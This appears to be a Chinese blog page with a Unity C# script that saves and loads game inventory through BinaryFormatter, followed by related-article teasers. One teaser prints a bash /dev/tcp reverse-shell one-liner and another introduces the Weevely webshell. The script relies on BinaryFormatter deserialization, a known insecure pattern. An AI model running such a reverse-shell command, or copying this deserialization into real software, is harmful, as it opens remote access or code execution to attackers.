1 using System.Collections;
2 using System.Collections.Generic;
3 using UnityEngine;
4 using System.IO;
5 using System.Runtime.Serialization.Formatters.Binary;//重点
6
7 public class GameSaveManager : MonoBehaviour
8 {
9 public Inventory myInventory;//需要保存的数据
10 public Item HpMedicine;//需要保存的数据
11 public Item MpMedicine;//需要保存的数据
12
13 public void SaveGame() //保存游戏方法
14 {
15 Debug.Log(Application.persistentDataPath);
16 //Debug.Log(12);
17 if (!Directory.Exists(Application.persistentDataPath + "/game_SaveGame"))
18 {
19 //Debug.Log(13);
20 Directory.CreateDirectory(Application.persistentDataPath + "/game_SaveGame");
21 }
22
23 BinaryFormatter formatter = new BinaryFormatter();//二进制转换
24
25 FileStream file = File.Create(Application.persistentDataPath + "/game_SaveGame/Inventory.txt");
26
27 var json0 = JsonUtility.ToJson(myInventory);//需要保存的数据Json转换
28 var json1 = JsonUtility.ToJson(HpMedicine);//需要保存的数据Json转换
29 var json2 = JsonUtility.ToJson(MpMedicine);//需要保存的数据Json转换
30
31 formatter.Serialize(file, json0);//保存的数据
32 formatter.Serialize(file, json1);//保存的数据
33 formatter.Serialize(file, json2);//保存的数据
34
35 file.Close();
36 }
37 public void LoadGame()//读取游戏方法
38 {
39 BinaryFormatter bf = new BinaryFormatter();
40
41 if (File.Exists(Application.persistentDataPath + "/game_SaveGame/Inventory.txt"))
42 {
43 FileStream file = File.Open(Application.persistentDataPath + "/game_SaveGame/Inventory.txt", FileMode.Open);
44
45 JsonUtility.FromJsonOverwrite((string)bf.Deserialize(file), myInventory);//保存的数据
46 JsonUtility.FromJsonOverwrite((string)bf.Deserialize(file), HpMedicine);//保存的数据
47 JsonUtility.FromJsonOverwrite((string)bf.Deserialize(file), MpMedicine);//保存的数据
48
49 file.Close();
50 }
51
52 }
53 public void ExitGame()//退出游戏方法
54 {
55
56 }
57
58
59 }

Unity 保存游戏,读取游戏,退出游戏的更多相关文章

  1. 使用Unity创建塔防游戏(Part2)

    How to Create a Tower Defense Game in Unity – Part 2 原文地址:https://www.raywenderlich.com/107529/unity ...

  2. 使用Unity创建塔防游戏(Part1)

    How to Create a Tower Defense Game in Unity - Part1 原文作者:Barbara Reichart 文章原译:http://www.cnblogs.co ...

  3. 使用Unity创建塔防游戏(Part3)—— 项目总结

    之前我们完成了使用Unity创建塔防游戏这个小项目,在这篇文章里,我们对项目中学习到的知识进行一次总结. Part1的地址:http://www.cnblogs.com/lcxBlog/p/60759 ...

  4. unity 通过JsonUtility实现json数据的本地保存和读取

    本文主要讲解json数据在本地的保存和读取,使用的是unity5之后提供的JsonUtility工具. 一.关于json数据的保存 在实际开发中,有时候可能涉及到大量数据保存到本地,以便于下次客户端的 ...

  5. [Android游戏开发]游戏框架的搭建

    通常情况下,游戏开发的基本框架中,一般包括以下模块: 窗口管理(Window management):该模块负责在Android平台上创建.运行.暂停.恢复游戏界面等功能. 输入模块(Input):该 ...

  6. Unity3D游戏-愤怒的小鸟游戏源码和教程(二)

    Unity愤怒的小鸟游戏教程(二) 本文提供全流程,中文翻译.Chinar坚持将简单的生活方式,带给世人!(拥有更好的阅读体验 -- 高分辨率用户请根据需求调整网页缩放比例) AngryEva游戏效果 ...

  7. Unity3D游戏-愤怒的小鸟游戏源码和教程(一)

    Unity愤怒的小鸟游戏教程 本文提供全流程,中文翻译.Chinar坚持将简单的生活方式,带给世人!(拥有更好的阅读体验 -- 高分辨率用户请根据需求调整网页缩放比例) AngryEva游戏效果: 1 ...

  8. (NO.00005)iOS实现炸弹人游戏(八):游戏主角(一)

    大熊猫猪·侯佩原创或翻译作品.欢迎转载,转载请注明出处. 如果觉得写的不好请多提意见,如果觉得不错请多多支持点赞.谢谢! hopy ;) 最近一直在做另一个RPG游戏,所以本系列迟迟没有更新,上一篇博 ...

  9. iOS 保存、读取与应用状态

    固化 对于大多数iOS应用,可以将其功能总结为:提供一套界面,帮助用户管理特定的数据.在这一过程中,不同类型的对象要各司其职:模型对象负责保存数据,视图对象负责显示数据,控制器对象负责在模型对象与视图 ...

随机推荐

  1. Mac系统使用Parallels Desktop安装Win10

    1.Parallels Desktop破解版下载 2.原版Windows 10 2004 X64位 (原版安装)2020 11 Windows 系统镜像必须为原版,ghost版不行.亲测ghost版本 ...

  2. Weevely使用方法以及通信流量分析

    Weevely简介 weevely项目地址:点击查看 weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏 ...

  3. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  4. 阿里面试官:小伙子,你给我说一下Spring Bean初始化的几种常规方式吧

    前言 通过构造方法实例化通过静态工厂实例化通过实例工厂实例化通过FactoryBean实例化 RumenzA实体类 package com.rumenz; public class RumenzA { ...

  5. FL studio系列教程(十四):如何在FL Studio播放列表中排列样式

    我们在FL Studio中做好了节奏样式后就可以在播放列表窗口中进行乐曲的编排了.刚接触这款软件的同学肯定会对如何编排比较陌生但也比较憧憬的,因为它是从一个窗口到另一个窗口中的操作.其实明白了这里的知 ...

  6. SpringBoot---WebMvcConfigurer详解

    1. 简介 2. WebMvcConfigurer接口 2.1 addInterceptors:拦截器 2.2 addViewControllers:页面跳转 2.3 addResourceHandl ...

  7. 年轻人不讲武德,竟然重构出这么优雅后台 API 接口

    Hello,早上好,我是楼下小黑哥~ 最近偶然间在看到 Spring 官方文档的时候,新学到一个注解 @ControllerAdvice,并且成功使用这个注解重构我们项目的对外 API 接口,去除繁琐 ...

  8. ucore操作系统学习(五) ucore lab5用户进程管理

    1. ucore lab5介绍 ucore在lab4中实现了进程/线程机制,能够创建并进行内核线程的调度.通过上下文的切换令线程分时的获得CPU,使得不同线程能够并发的运行. 在lab5中需要更进一步 ...

  9. 快要C语言考试了,大学生们收好这些经典程序案例,包你考试过关!

    距离考试越来越近 编程大佬早已饥渴难耐 电脑小白还在瑟瑟发抖 但是不要怕! 来看看这些经典程序案例 包你考试过关! [程序1] 有1.2.3.4个数字,能组成多少个互不相同且无重复数字的三位数?都是多 ...

  10. 深度学习(一):Python神经网络——手写数字识别

    声明:本文章为阅读书籍<Python神经网络编程>而来,代码与书中略有差异,书籍封面: 源码 若要本地运行,请更改源码中图片与数据集的位置,环境为 Python3.6x. 1 import ...